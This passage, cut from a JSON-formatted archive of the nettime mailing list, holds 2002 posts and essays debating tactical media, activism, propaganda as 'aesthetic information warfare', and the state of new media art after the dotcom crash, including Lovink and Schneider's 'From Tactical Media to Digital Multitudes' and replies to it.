more\naesthetically preferable, nor on which sexual mores are truly liberating,\nnor on what practice is the more spiritually fulfilling.  That's why making\nsuch things an integral part of politics is, as Walter Benjamin wrote and\nhistory shows, a recipe for war.  Aesthetics and sexual mores should be left\nout of politics for the same reason that religion should be.\n\nThe reason why humanity never seems to live up to this truth is that finding\none's own way is hard.  That personal task, not politics or revolution, is\nthe true role of creativity, artistic expression and identity formation.\nBut a \"tactical\" aesthetic of consumption, of criticism, of refusal, of\nopposition is the very opposite of this.  It's a lot easier than finding\nyour own way.  It takes no real work at all.  It's the aesthetic of a slave,\na parasite, and a vandal. [8]  And if you seek its monument, look around.\n\nKermit Snelson\n\nNotes:\n[1] http://citd.scar.utoronto.ca/CITDPress/Holtorf/7.4.html\n[2] Benjamin, Walter, _Illuminations_, p. 241\n[3] Jameson, Fredric, _Postmodernism_, p. x [sic]\n[4] ibid., p. 298-9\n[5] ibid., p. 257\n[6] ibid., p. 257\n[7] http://amsterdam.nettime.org/Lists-Archives/nettime-l-9705/msg00096.html\n[8] True also of the Right's \"tactical media\", the USA's warblogs.\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00190",
                        "date": "Tue, 30 Jul 2002 12:07:34 -0700",
                        "to": "<nettime-l {AT} bbs.thing.net>",
                        "message-id": "200207310258.WAA21272 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0207/msg00190.html",
                        "content-type": "text/plai",
                        "author_name": "Kermit Snelson",
                        "subject": "RE: <nettime> how to defeat activism"
                    },
                    {
                        "from": "MWP <mpalmer {AT} jps.net>",
                        "content": "\nDavid Garcia wrote:\n\n> > ...the artist's iconic status as imaginative outlaw and exemplar of freedom\n> and the imagination has been replaced by that of the hacker.\n\nYou've got to be kidding! Outlaw, perhaps, but freedom and imagination? Please!\nThese guys sit at computers and blindly type strings of random words into\nunforgiving blank spaces all day in anticipation of that brief moment of reward.\nThey are glorified carnival chickens. Give me a break.\n\nMark P\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00191",
                        "date": "Mon, 29 Jul 2002 13:53:28 -0700",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200207310302.XAA21568 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0207/msg00191.html",
                        "content-type": "text/plai",
                        "author_name": "MWP",
                        "subject": "Re: <nettime> how to defeat activism"
                    }
                ],
                "message-id": "200207221202.IAA15612 {AT} bbs.thing.net",
                "date": "Sun, 21 Jul 2002 12:50:58 -0700",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "\"time\" <time {AT} digitalconfusion.org>",
                "id": "00034",
                "content": "\n\nA Reaction to Tactical Media\nBy Sfear von Clauswitz\n\n\nTactics vs. Strategy\n\nHistory is no more behind us than we can walk through time. There is no\ndestiny and no vanishing. Tactical media makes no promises.\n\nThe spectacle and spectacular media are forms of tactical media, even more\nso now than in the future. Newer forms of media production and distribution:\ncomputers, cameras, the internet, etc. are not tactical. They exist as\nballistics in the war of art, as does detournement and heretical\njuxtaposition. How these armaments are combined in conflict constitutes\ntactics.\n\nThese tactical conflicts culminate towards strategic goals. Strategy is\ndefined by Clauswitz as a collection of battles in a war regardless of who\nthe actors are.\n\nThus, strategy exists outside of nation-states and other such boundaries,\njust as Terrorists wage a war outside of such boundaries. As individuals\nbecome empowered with the ballistics of nations, so strategy becomes more\nuseful for describing their activities. Individuals begin to enter the\nglobal strategic theater.\n\nStrategy is not political, and cannot be in opposition to tactics. Strategy\noutlines a discourse of interactions, at times political, military, or\naesthetic.\n\nTactics is no more a tool of resistance than a tool of the state. Isnt it\nenough to say it is a tool, and begin to explore its uses? How can we\ndiscuss the exchanges of tactics other than on a plane of strategy?\n\n\nArtists & Hackers\n\nWhile many artists and hackers use tactical media, the divorce of these\nbattles from the strategic and logistical landscapes renders such actions\nless significant than similar tactics in use by national and business\nactors.\n\nEBN and Negativeland developed beautiful munitions (heretical\njuxtaposition), and both Adbusters and RTMark expand arts reach and capacity\ninto new theaters. All of which is necessary for the expansion of art on the\nconceptual landscape.\n\nHowever, much of this work has been fueled by the political agendas and\naffiliations of these artists. While alliance with the activist,\nanarchistic, and anti-globalization syndicates has enabled these\ndevelopments, it has also created linguistic partisanship that prevents arts\nexpansion into the strategic and logistical theaters.\n\n\nThe Study of Tactical Aesthetics\n\nAs tactics, subversion of a dominant is no more valuable than submission to\na dominant, outside of a specific theatrical context. In this way, both\ndiversion and alliance, as tactics, might serve a particular end at a\nparticular time.\n\nThe super-empowered artist does in many ways resemble a Terrorist, but the\nassociation is superficial in as far as it perpetuates the political roots\nthat modern aesthetic warfare technology was developed within.\n\nMany noble sciences have been detoured by militaries to serve very different\npolitical ends than their creators had intended. It is with this detachment\nfrom originating political bias that aesthetic warfare must be studied.\n\nInformation warfare (future war) deals heavily with propaganda. Aesthetics\nenables propaganda. Advanced practitioners of aesthetic theory should then\nbe adept at the creation of propaganda, whether they work for Indymedia,\nthemselves, or the government.\n\nPropaganda neither hijacks the media, nor the deed. Deeds no longer exist\nseparate from information media. The process of recording mediates the\nphenomenal and thereby defines informational theaters. Propaganda, tactics,\naesthetics, and strategy-all require a recorded or informational value.\n\nDigitization is one trend that contributed to the passage of warfare from\nthe physical to the informational landscapes, but one of many. Death of\ndistance, identity fragmentation, mass mediation, the deconstruction of\nlanguage, and copyright law all contributed threads.\n\nHowever, once all aspects of warfare can be translated into flows of\ninformation, a language of aesthetics reveals the way that information can\nbe used as warfare. It is aesthetics that enables information. In this way,\ntactical media is a form of aesthetic information warfare.\n\nArtists are now in the best position to leverage their aesthetics to create\na technology gap between art and rival conceptual frameworks. Tactical media\nmay well be the most overt part of this larger process.\n\n\nModes of Warfare\n\nClauswitzs tactics enable both the weak and the powerful. However, by\nembedding class opposition into the language of military art, de Certeau\ndestroys the usefulness of the terms describing modes of conflict outside de\nCerteaus specific theater.\n\nClauswitzs strategem and Tzus war of maneuver are both useful tactics, in\ntheir time and ours. An artifice of diversion is a method of using\ninformation for tactical advantage. It is one of many tactics used by the\nmainstream and many others, but to limit arts investigation of warfare to\none tactic, or to tactics as a dominant mode, limits arts ability to\nmaintain viability in the conceptual landscape.\n\nThe battle between the mainstream and the alternative cannot trace the full\nspectrum of media tactics, but even if we were to concentrate our\ninvestigation there, how could we foresee a victory or lasting resituation\nwithout considering the strategy of this particular theater?\n\nAlso, the language of economics permeates our telling (and recording) of\nthis conflict, and yet the language of logistics is missing. Perhaps this is\ndue to de Certeaus politicizing of the modes of conflict, but then perhaps\nwe have just not looked hard enough.\n\nThe continued viability of tactical art does require global participation,\nbut it also requires a language to describe and refine that global\nparticipation-how it is gathered and distributed, authorized and\nsynchronized. This language is the de-politicized language of strategy. A\nlanguage that must be developed separate from the paradigm and perspectives\nof any specific theater, most of all the theater of activists, from which\nthe vast majority of its practitioners emerge.\n\nThe preconceived opposition forms an essential context within which to\ndiscuss a particular theater. The specific economic and political\nintensities of a theater do form the essential difference between tactics as\nemployed by different groups. Economic and political intensities are useful\nand even essential when recording the story of a battle.\n\nBut while these intensities are valuable we do not seek a history of the\npolitical winners. Nor do not seek a lexicon of potential media tactics.\nWhat we seek is art, an art of war, the beautiful forms of information that\ncan be applied to shifting theatrical contexts. We seek a way to describe\nthe exchange of informational flows within the theater.\n\nWe seek these things because it is the only way art agents will be useful\nactors in the quickly shifting landscapes of the future, and advanced\npractitioners of aesthetic informational warfare and tactical media may be\nthe only way for art to remain a viable conceptual framework.\n\n\n http://www.x-chicago.com/main/article.php?articleID=179\n\n\nhttp://www.collusion.org/Article.cfm?ID=410\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 8 Sep 2002 10:41:30 -0500",
                "to": "<nettime-l {AT} bbs.thing.net>",
                "message-id": "200209082020.g88KKdX13852 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0209/msg00034.html",
                "list": "nettime_l",
                "author_name": "time",
                "subject": "<nettime> A Reaction to Tactical Media"
            },
            {
                "id": "00002",
                "content": "\n\nA Virtual World is Possible: From Tactical Media to Digital Multitudes\nBy Geert Lovink and Florian Schneider\n\nI.\n\nWe start with the current strategy debates of the so-called\n\"anti-globalisation movement\", the biggest emerging political force for\ndecades. In Part II we will look into strategies of critical new media\nculture in the post-speculative phase after dotcommania. Four phases of\nthe global movement are becoming visible, all of which have distinct\npolitical, artistic and aesthetic qualities.\n\n1. The 90s and tactical media activism\n\nThe term 'tactical media' arose in the aftermath of the fall of the Berlin\nWall as a renaissance of media activism, blending old school political\nwork and artists' engagement with new technologies. The early nineties saw\na growing awareness of gender issues, exponential growth of media\nindustries and the increasing availability of cheap do-it-yourself\nequipment creating a new sense of self-awareness amongst activists,\nprogrammers, theorists, curators and artists. Media were no longer seen as\nmerely tools for the Struggle, but experienced as virtual environments\nwhose parameters were permanently 'under construction'. This was the\ngolden age of tactical media, open to issues of aesthetics and\nexperimentation with alternative forms of story telling. However, these\nliberating techno practices did not immediately translate into visible\nsocial movements. Rather, they symbolized the celebration of media\nfreedom, in itself a great political goal. The media used - from video,\nCD-ROM, cassettes, zines and flyers to music styles such as rap and techno\n- varied widely, as did the content. A commonly shared feeling was that\npolitically motivated activities, be they art or research or advocacy\nwork, were no longer part of a politically correct ghetto and could\nintervene in 'pop culture' without necessarily having to compromise with\nthe 'system.' With everything up for negotiation, new coalitions could be\nformed. The current movements worldwide cannot be understood outside of\nthe diverse and often very personal for digital freedom of expression.\n\n2. 99-01: The period of big mobilizations\n\nBy the end of the nineties the post-modern 'time without movements' had\ncome to pass. The organized discontent against neo-liberalism, global\nwarming policies, labour exploitation and numerous other issues converged.\nEquipped with networks and arguments, backed up by decades of research, a\nhybrid movement - wrongly labelled by mainstream media as\n'anti-globalisation' - gained momentum. One of the particular features of\nthis movement lies in its apparent inability and unwillingness to answer\nthe question that is typical of any kind of movement on the rise or any\ngeneration on the move: what's to be done? There was and there is no\nanswer, no alternative - either strategic or tactical - to the existing\nworld order, to the dominant mode of globalisation.\n\nAnd maybe this is the most important and liberating conclusion: there is\nno way back to the twentieth century, the protective nation state and the\ngruesome tragedies of the 'left.' It has been good to remember - but\nequally good to throw off - the past. The question 'what's to be done'\nshould not be read as an attempt to re-introduce some form of Leninist\nprinciples. The issues of strategy, organization and democracy belong to\nall times. We neither want to bring back old policies through the\nbackdoor, nor do we think that this urgent question can be dismissed by\ninvoking crimes committed under the banner of Lenin, however justified\nsuch arguments are. When Slavoj Zizek looks in the mirror he may see\nFather Lenin, but that's not the case for everyone. It is possible to wake\nup from the nightmare of the past history of communism and (still) pose\nthe question: what's to be done? Can a 'multitude' of interests and\nbackgrounds ask that question, or is the only agenda that defined by the\nsummit calendar of world leaders and the business elite?\n\nNevertheless, the movement has been growing rapidly. At first sight it\nappears to use a pretty boring and very traditional medium: the\nmass-mobilization of tens of thousands in the streets of Seattle, hundreds\nof thousands in the streets of Genoa. And yet, tactical media networks\nplayed an important role in it's coming into being. From now on\npluriformity of issues and identities was a given reality. Difference is\nhere to stay and no longer needs to legitimize itself against higher\nauthorities such as the Party, the Union or the Media. Compared to\nprevious decades this is its biggest gain. The 'multitudes' are not a\ndream or some theoretical construct but a reality.\n\nIf there is a strategy, it is not contradiction but complementary\nexistence. Despite theoretical deliberations, there is no contradiction\nbetween the street and cyberspace. The one fuels the other. Protests\nagainst the WTO, neo-liberal EU policies, and party conventions are all\nstaged in front of the gathered world press. Indymedia crops up as a\nparasite of the mainstream media. Instead of having to beg for attention,\nprotests take place under the eyes of the world media during summits of\npoliticians and business leaders, seeking direct confrontation.\nAlternatively, symbolic sites are chosen such as border regions (East-West\nEurope, USA-Mexico) or refugee detention centres (Frankfurt airport, the\ncentralized Eurocop database in Strasbourg, the Woomera detention centre\nin the Australian desert). Rather than just objecting to it, the global\nentitlement of the movement adds to the ruling mode of globalisation a new\nlayer of globalisation from below.\n\n3. Confusion and resignation after 9-11\n\nAt first glance, the future of the movement is a confusing and irritating\none. Old-leftist grand vistas, explaining US imperialism and its\naggressive unilateralist foreign policy, provided by Chomsky, Pilger and\nother baby boomers are consumed with interest but no longer give the\nbigger picture. In a polycentric world conspiracy theories can only\nprovide temporary comfort for the confused. No moralist condemnation of\ncapitalism is necessary as facts and events speak for themselves. People\nare driven to the street by the situation, not by an analysis (neither\nours nor the one from Hardt & Negri). The few remaining leftists can no\nlonger provide the movement with an ideology, as it works perfectly\nwithout one. \"We don't need your revolution.\" Even the social movements of\nthe 70s and 80s, locked up in their NGO structures, have a hard time\nkeeping up. New social formations are taking possession of the streets and\nmedia spaces, without feeling the need of representation by some higher\nauthority, not even the heterogenous committees gathering in Porto Alegre.\n\nSo far this movement has been bound in clearly defined time/space\ncoordinates. It still takes months to mobilize multitudes and organize the\nlogistics, from buses and planes, camping grounds and hostels, to\nindependent media centres. This movement is anything but spontaneous (and\ndoes not even claim to be so). The people that travel hundreds or\nthousands of miles to attend protest rallies are driven by real concerns,\nnot by some romantic notion of socialism. The worn-out question: \"reform\nor revolution?\" sounds more like blackmail to provoke the politically\ncorrect answer.\n\nThe contradiction between selfishness and altruism is also a false one.\nState-sponsored corporate globalisation affects everyone. International\nbodies such as the WTO, the Kyoto Agreement on global warming, or the\nprivatisation of the energy sector are no longer abstract news items,\ndealt with by bureaucrats and (NGO) lobbyists. This political insight has\nbeen the major quantum leap of recent times. Is this then the Last\nInternational? No. There is no way back to the nation state, to\ntraditional concepts of liberation, the logic of transgression and\ntranscendence, exclusion and inclusion. Struggles are no longer projected\nonto a distant Other that begs for our moral support and money. We have\nfinally arrived in the post-solidarity age. As a consequence, national\nliberation movements have been replaced by a by a new analysis of power,\nwhich is simultaneously incredibly abstract, symbolic and virtual, whilst\nterribly concrete, detailed and intimate.\n\n4. Present challenge: liquidate the regressive third period of marginal\nmoral protest\n\nLuckily September 11 has had no immediate impact on the movement. The\nchoice between Bush and Bin Laden was irrelevant. Both agendas were\nrejected as devastating fundamentalisms. The all too obvious question:\n\"whose terror is worse?\" was carefully avoided as it leads away from the\npressing emergencies of everyday life: the struggle for a living wage,\ndecent public transport, health care, water, etc. As both social democracy\nand really existing socialism depended heavily on the nation state a\nreturn to the 20thcentury sounds as disastrous as all the catastrophes it\nproduced. The concept of a digital multitude is fundamentally different\nand based entirely on openness. Over the last few years the creative\nstruggles of the multitudes have produced outputs on many different\nlayers: the dialectics of open sources, open borders, open knowledge. Yet\nthe deep penetration of the concepts of openness and freedom into the\nprinciple of struggle is by no means a compromise to the cynical and\ngreedy neo-liberal class. Progressive movements have always dealt with a\nradical democratisation of the rules of access, decision-making and the\nsharing of gained capacities. Usually it started from an illegal or\nillegitimate common ground. Within the bounds of the analogue world it led\nto all sorts of cooperatives and self-organized enterprises, whose\nspecific notions of justice were based on efforts to circumvent the brutal\nregime of the market and on different ways of dealing with the scarcity of\nmaterial resources.\n\nWe're not simply seeking proper equality on a digital level. We're in the\nmidst of a process that constitutes the totality of a revolutionary being,\nas global as it is digital. We have to develop ways of reading the raw\ndata of the movements and struggles and ways to make their experimental\nknowledge legible; to encode and decode the algorithms of its singularity,\nnonconformity and non-confoundability; to invent, refresh and update the\nnarratives and images of a truly global connectivity; to open the source\ncode of all the circulating knowledge and install a virtual world.\n\nBringing these efforts down to the level of production challenges new\nforms of subjectivity, which almost necessarily leads to the conclusion\nthat everyone is an expert. The superflux of human resources and the\nbrilliance of everyday experience get dramatically lost in the\n'academification' of radical left theory. Rather the new ethical-aesthetic\nparadigm lives on in the pragmatic consciousness of affective labour, in\nthe nerdish attitude of a digital working class, in the omnipresence of\nmigrant struggles as well as many other border-crossing experiences, in\ndeep notions of friendship within networked environments as well as the\n'real' world.\n\nII.\n\nLet's now look at strategies for Internet art & activism. Critical new\nmedia culture faces a tough climate of budget cuts in the cultural sector\nand a growing hostility and indifference towards new media. But hasn't\npower shifted to cyberspace, as Critical Art Ensemble once claimed? Not so\nif we look at the countless street marches around the world.\n\nThe Seattle movement against corporate globalisation appears to have\ngained momentum - both on the street and online. But can we really speak\nof a synergy between street protests and online 'hacktivism'? No. But what\nthey have in common is their (temporal) conceptual stage. Both real and\nvirtual protests risk getting stuck at the level of a global 'demo\ndesign,' no longer grounded in actual topics and local situations. This\nmeans the movement never gets out of beta. At first glance, reconciling\nthe virtual and the real seems to be an attractive rhetorical act. Radical\npragmatists have often emphasized the embodiment of online networks in\nreal-life society, dispensing with the real/virtual contradiction. Net\nactivism, like the Internet itself, is always hybrid, a blend of old and\nnew, haunted by geography, gender, race and other political factors. There\nis no pure disembodied zone of global communication, as the 90s\ncyber-mythology claimed.\n\nEquations such as street plus cyberspace, art meets science, and\n'techno-culture'are all interesting interdisciplinary approaches but are\nproving to have little effect beyond the symbolic level of dialogue and\ndiscourse. The fact is that established disciplines are in a defensive\nmode. The 'new' movements and media are not yet mature enough to question\nand challenge the powers that be. In a conservative climate, the claim to\n'embody the future' becomes a weak and empty gesture.\n\nOn the other hand, the call of many artists and activists to return to\n\"real life\" does not provide us with a solution to how alternative new\nmedia models can be raised to the level of mass (pop) culture. Yes, street\ndemonstrations raise solidarity levels and lift us up from the daily\nsolitude of one-way media interfaces. Despite September 11 and its\nright-wing political fallout, social movements worldwide are gaining\nimportance and visibility. We should, however, ask the question \"what\ncomes after the demo version\" of both new media and the movements?\n\nThis isn't the heady 60s. The negative, pure and modernist level of the\n\"conceptual\" has hit the hard wall of demo design as Peter Lunenfeld\ndescribed it in his book 'Snap to Grid'. The question becomes: how to jump\nbeyond the prototype? What comes after the siege of yet another summit of\nCEOs and their politicians? How long can a movement grow and stay\n'virtual'? Or in IT terms, what comes after demo design, after the\ncountless PowerPoint presentations, broadband trials and Flash animations?\nWill Linux ever break out of the geek ghetto? The feel-good factor of the\nopen, ever growing crowd (Elias Canetti) will wear out; demo fatigue will\nset in. We could ask: does your Utopia version have a use-by date?\n\nRather than making up yet another concept it is time to ask the question\nof how software, interfaces and alternative standards can be installed in\nsociety. Ideas may take the shape of a virus, but society can hit back\nwith even more successful immunization programs: appropriation, repression\nand neglect. We face a scalability crisis. Most movements and initiatives\nfind themselves in a trap. The strategy of becoming \"minor\" (Guattari) is\nno longer a positive choice but the default option. Designing a successful\ncultural virus and getting millions of hits on your weblog will not bring\nyou beyond the level of a short-lived 'spectacle'. Culture jammers are no\nlonger outlaws but should be seen as experts in guerrilla communication\n\n.\n\n\nToday's movements are in danger of getting stuck in self-satisfying\nprotest mode. With access to the political process effectively blocked,\nfurther mediation seems the only available option. However, gaining more\nand more \"brand value\" in terms of global awareness may turn out to be\nlike overvalued stocks: it might pay off, it might turn out to be\nworthless. The pride of \"We have always told you so\" is boosting the moral\nof minority multitudes, but at the same time it delegates legitimate\nfights to the level of official \"Truth and Reconciliation Commissions\"\n(often parliamentary or Congressional), after the damage is done.\n\nInstead of arguing for \"reconciliation\" between the real and virtual we\ncall here for a rigorous synthesis of social movements with technology.\nInstead of taking the \"the future is now\" position derived from\ncyber-punk, a lot could be gained from a radical re-assessment of the\ntechno revolutions of the last 10-15 years. For instance, if artists and\nactivists can learn anything from the rise and subsequent fall of dot-com,\nit might be the importance of marketing. The eyeballs of the dotcom\nattention economy proved worthless.\n\nThis is a terrain is of truly taboo knowledge. Dot-coms invested their\nentire venture capital in (old media) advertisement. Their belief that\nmedia-generated attention would automatically draw users in and turn them\ninto customers was unfounded. The same could be said of activist sites.\nInformation \"forms\" us. But new consciousness results less and less in\nmeasurable action. Activists are only starting to understand the impact of\nthis paradigm. What if information merely circles around in its own\nparallel world? What's to be done if the street demonstration becomes part\nof the Spectacle?\n\nThe increasing tensions and polarizations described here force us to\nquestion the limits of new media discourse. In the age of realtime global\nevents Ezra Pound's definition of art as the antenna of the human race\nshows its passive, responsive nature. Art no longer initiates. One can be\nhappy if it responds to contemporary conflicts at all and the new media\narts sector is no exception. New media arts must be reconciled with its\ncondition as a special effect of the hard and software developed years\nago.\n\nCritical new media practices have been slow to respond to both the rise\nand fall of dotcommania. In the speculative heydays of new media culture\n(the early-mid 90s, before the rise of the World Wide Web), theorists and\nartists jumped eagerly on not yet existing and inaccessible technologies\nsuch as virtual reality. Cyberspace generated a rich collection of\nmythologies; issues of embodiment and identity were fiercely debated. Only\nfive years later, while Internet stocks were going through the roof,\nlittle was left of the initial excitement in intellectual and artistic\ncircles. Experimental techno culture missed out on the funny money.\nRecently there has been a steady stagnation of new media cultures, both in\nterms of concepts and funding. With millions of new users flocking onto\nthe Net, the arts can no longer keep up and withdraw into their own little\nworld of festivals, mailing lists and workshops.\n\nWhereas new media arts institutions, begging for goodwill, still portray\nartists as working at the forefront of technological developments, the\nreality is a different one. Multi-disciplinary goodwill is at an all time\nlow. At best, the artist's new media products are 'demo design' as\ndescribed by Lunenfeld. Often it does not even reach that level. New media\narts, as defined by its few institutions rarely reach audiences outside of\nits own electronic arts subculture. The heroic fight for the establishment\nof a self-referential 'new media arts system' through a frantic\ndifferentiation of works, concepts and traditions, might be called a\ndead-end street. The acceptance of new media by leading museums and\ncollectors will simply not happen. Why wait a few decades anyway? Why\nexhibit net art in white cubes? The majority of the new media\norganizations such as ZKM, the Ars Electronica Centre, ISEA, ICC or ACMI\nare hopeless in their techno innocence, being neither critical nor\nradically utopian in their approach. Hence, the new media arts sector,\ndespite its steady growth, is getting increasingly isolated, incapable of\naddressing the issues of today's globalised world, dominated by (the war\nagainst) terror. Let's face it, technology is no longer 'new,' the markets\nare down and out and no one wants know about it anymore. Its little wonder\nthe contemporary (visual) arts world is continuing its decade-old boycott\nof (interactive) new media works in galleries, biennales and shows like\nDocumenta XI.\n\nA critical reassessment of the role of arts and culture within today's\nnetwork society seems necessary. Let's go beyond the 'tactical' intentions\nof the players involved. The artist-engineer, tinkering on alternative\nhuman-machine interfaces, social software or digital aesthetics has\neffectively been operating in a self-imposed vacuum. Science and business\nhave successfully ignored the creative community. Worse still, artists\nhave been actively sidelined in the name of 'usability', pushed by a\nbacklash movement against web design led by the IT-guru Jakob Nielsen. The\nrevolt against usability is about to happen. Lawrence Lessig argues that\nInternet innovation is in danger. The younger generation is turning its\nback onon new media arts questions and if involved at all, operate as\nanti-corporate activists. After the dotcom crash the Internet has rapidly\nlost its imaginative attraction. File swapping and cell phones can only\ntemporarily fill up the vacuum; the once so glamorous gadgets are becoming\npart of everyday life. This long-term tendency, now accelerating,\nseriously undermines future claims of new media.\n\nAnother issue concerns generations. With video and expensive interactive\ninstallations being the domain of the '68 baby boomers, the generation of\n'89 has embraced the free Internet. But the Net turned out to be a trap\nfor them. Whereas assets, positions and power remain in the hands of the\nageing baby boomers, the gamble on the rise of new media did not pay off.\nAfter venture capital has melted away, there is still no sustainable\nrevenue system in place for the Internet. The slow working educational\nbureaucracies have not yet grasped the new media malaise. Universities are\nstill in the process of establishing new media departments. But that will\ncome to a halt at some point. The fifty-something tenured chairs and\nvice-chancellors must feel good about their persistent sabotage. What's so\nnew about new media anyway? Technology was hype after all, promoted by the\ncriminals of Enron and WorldCom. It is sufficient for students to do a bit\nof email and web surfing, safeguarded within a filtered, controlled\nintranet. In the face of this rising techno-cynicism we urgently need to\nanalyse the ideology of the greedy 90s and its techno-libertarianism. If\nwe don't disassociate new media quickly from the previous decade, the\nisolation of the new media sector will sooner or later result in its\ndeath. Let's transform the new media buzz into something more interesting\naltogether - before others do it for us.\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "to": "nettime <nettime-l {AT} bbs.thing.net>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0211/msg00002.html",
                "list": "nettime_l",
                "author_name": "geert lovink",
                "subject": "<nettime> From Tactical Media to Digital Multitudes",
                "from": "geert lovink <geert {AT} xs4all.nl>",
                "follow-up": [
                    {
                        "from": "Gabriel Pickard <werg {AT} demokratica.de>",
                        "content": "\nA possible world is virtual.\nabsolutely.\n_This_world_is_always_fucking_impossible.\n\n... There's something lovely about it _ that i just can't quite place my \nfinger on. ..\nspeak thus - and rub your finger a'll' over.\nthat is, compelexity.\nand it won't help (much) to recognize and declare it as such (don't even \n_try to understand).\n\nthough the question may be: this? world?\nok, it should be clear that a _this_world_ (in _this_ (absolute \n(non-multiple)) sense) does not exist.\nSo we already have one reason why? a possible world is so utterly virtual.\n\nthis is of course a question of reality and reality multiplicity and \nproduction, which presents itself asa painful and fascinating issue to a \nmedia-activist. what is often overlooked, though, is that reality != media.\nThe term \"world' even more so. I certainly do not want to criticize those \nwho analyse and fight the evil corporate media in its malicious influence \non mass realization ,but as important as this is, reality is about more \nthan just media. media in the narrow space of communication connects \ninformation and material, virtuality and actuality. reality is nothing else \nbut a borderline, discerning in&out, real&irreal. maybe we should get past \nthe point of pushing around this borderline, it's all existence -anyway.\n  much rather, i'd propose we reflect upon the everyday, unspoken \nimplications of our \"doing media| because if we realize that information is \nindependent parallel existence, this abstractive \"interface' becomes quite \ninteresting. \"doing media' and 'doing information\" are two different \nthings. now ishould say that we can hardly get around doing information, \nbut media is still a much more alterable mass than we might think.\neventhough it may seem old, i'd like to suggest that we rethink- remake- \nredo. if our media is discontenting, question its foundations - build a new \nnew media -!realy /if our movement seems frustrating, poses: wastun?, why \nnot move something else, somewhere else _and_under_another_name_. that will \n-andis- being done anyway.\n\nwastun?so_\nwhat only may be tried, is both an immediate and metamediate radicalization \nin addition to mediate radicalism.\n\nconcerning bubble&burst:\nnow to me, as potential early representant of the generation following the \ngen. of 89, the whole dotcom thing had a lot to do with adolescence. with \ngrowing pains, puberty and confusion. growing up with people envying you \nfor all the new, new developments you'll witness - and pitying you for not \nbeing able to cash in and grow in power at the beginning of the \"long \nboom\". nowadays, people don't philosophize over the future too much, they \njust tell you to work hard and get a good job. ;-} Maybe this can help with \nthe analysis, seeing it all as the growing up of the 21st century. and \ndon't let them fool you, even though it's already feeling like \nmidlife-crisis, that's all just some youthful morosity.\nThere's more developments around the corner\n  the dream of the open technological future is not over yet\n\nkeepitup,\nGabriel.\n-- \nGabriel Pickard\nwhat?\nhuman.\nhttp://werg.demokratica.de\nwerGf314\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00012",
                        "date": "Tue, 05 Nov 2002 10:28:37 +0100",
                        "to": "nettime-l <nettime-l {AT} bbs.thing.net>",
                        "message-id": "200211051619.gA5GJfS28515 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0211/msg00012.html",
                        "content-type": "text/plai",
                        "author_name": "Gabriel Pickard",
                        "subject": "A Possible World is Virtual (was: <nettime> From Tactical Media toDigital Multitudes)"
                    },
                    {
                        "from": "\"Kermit Snelson\" <ksnelson {AT} subjectivity.com>",
                        "content": "\n   \"As the situationists concluded, the true fulfillment of art ultimately\nimplies going beyond the boundaries of art, bringing creativity and\nadventure into the critique and liberation of every aspect of life; and\nfirst of all into challenging the submissive conditioning that prevents\npeople from creating their own adventures.\" -- Ken Knabb [1]\n\nNew media art must indeed fulfill and not simply continue to \"demo\" its\nalternative vision of human relations.  Geert and Florian are right to ask\n\"what is to be done\" to bring this about.  However, the passage I just\nquoted came to mind as I read their analysis, and I'm not sure whether it\nserves them better as a summary or as a rebuke.\n\nFirst of all, I don't see much in their post about \"challenging the\nsubmissive conditioning that prevents people from creating their own\nadventures.\"  I see quite the opposite, in fact; namely, an emphasis on the\nuse of new media art as a tool for shaping mass psychology.  In their own\nwords, they are looking for a \"solution to how alternative new media models\ncan be raised to the level of mass (pop) culture.\"  They say that the most\nimportant lesson that artists and activists might have to learn from the\nfall of the '90s techno-libertarian dotcommania is the \"importance of\nmarketing.\"  They speak of a \"virtual world\" as something consisting of\n\"software, interfaces and alternative standards\" that must be \"installed.\"\nAnd they strongly suggest that what's standing in way of such an\n\"installation\" is that the \"new media art\" discourse is now linked in the\npublic mind with a failed, obsolete and financially ruinous business fad\nthat \"no one wants know about [...] anymore.\"  So that means only that it's\ntime to rebrand the product, eh?\n\nGeert and Florian propose such a rebranding in two forms.  First, they say\nit's imperative that the new media art scene disassociate itself from the\nfailed '90s \"New Economy\" techno-libertarianism by radically critiquing it.\nWell, Geert co-founded nettime seven years ago to do just that.  Apparently\nwith little success, if their analysis of the present state of new media art\nis correct.\n\nSecond, they call for the abandonment of radical left theory in favor of a\n\"new ethical-aesthetic paradigm\" that \"lives on in the pragmatic\nconsciousness of affective labour\" consisting of nerdiness, friendship and\npolitical action.  This political action, in turn, is motivated by a very\nbroad conception of \"openness\" that makes a connection, by means of\nconsiderable sophistry, between open source and open borders.  Geert and\nFlorian say that such a post-ideological, post-solidarity \"digital\nmultitude\" is 